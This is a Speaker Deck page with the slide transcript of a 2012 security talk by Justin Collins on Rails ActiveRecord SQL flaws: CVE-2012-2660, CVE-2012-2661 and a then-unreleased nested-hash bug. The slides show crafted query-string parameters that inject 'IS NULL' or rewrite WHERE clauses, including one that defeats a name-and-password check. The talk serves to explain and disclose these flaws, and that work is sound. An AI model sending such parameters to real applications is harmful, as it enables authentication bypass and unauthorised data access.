Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
0
81
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
Tweet
Share
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
160
The Evolution of Rails Security
presidentbeef
1
850
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
150
Practical Static Analysis for Continuous Application Security
presidentbeef
0
220
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
470
Continuous Security with Practical Static Analysis
presidentbeef
1
350
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
260
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.2k
Tales from the Crypt
presidentbeef
1
260
Other Decks in Programming
See All in Programming
RAGでハマりがちな"Excelの罠"を、データの構造化で突破する
harumiweb
9
2.5k
Swift ConcurrencyでよりSwiftyに
yuukiw00w
0
240
2026/02/04 AIキャラクター人格の実装論 口 調の模倣から、コンテキスト制御による 『思想』と『行動』の創発へ
sr2mg4
0
690
atmaCup #23でAIコーディングを活用した話
ml_bear
4
740
Go 1.26でのsliceのメモリアロケーション最適化 / Go 1.26 リリースパーティ #go126party
mazrean
1
350
CSC307 Lecture 12
javiergs
PRO
0
460
CSC307 Lecture 14
javiergs
PRO
0
450
encoding/json/v2のUnmarshalはこう変わった:内部実装で見る設計改善
kurakura0916
0
320
AI主導でFastAPIのWebサービスを作るときに 人間が構造化すべき境界線
okajun35
0
550
あなたはユーザーではない #PdENight
kajitack
4
300
AI駆動開発の本音 〜Claude Code並列開発で見えたエンジニアの新しい役割〜
hisuzuya
4
480
LangChain4jとは一味違うLangChain4j-CDI
kazumura
1
150
Featured
See All Featured
Ruling the World: When Life Gets Gamed
codingconduct
0
160
Gemini Prompt Engineering: Practical Techniques for Tangible AI Outcomes
mfonobong
2
300
Making the Leap to Tech Lead
cromwellryan
135
9.8k
So, you think you're a good person
axbom
PRO
2
1.9k
Unlocking the hidden potential of vector embeddings in international SEO
frankvandijk
0
190
Building Better People: How to give real-time feedback that sticks.
wjessup
370
20k
BBQ
matthewcrist
89
10k
Deep Space Network (abreviated)
tonyrice
0
86
Conquering PDFs: document understanding beyond plain text
inesmontani
PRO
4
2.4k
Paper Plane
katiecoart
PRO
0
47k
A better future with KSS
kneath
240
18k
Making Projects Easy
brettharned
120
6.6k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1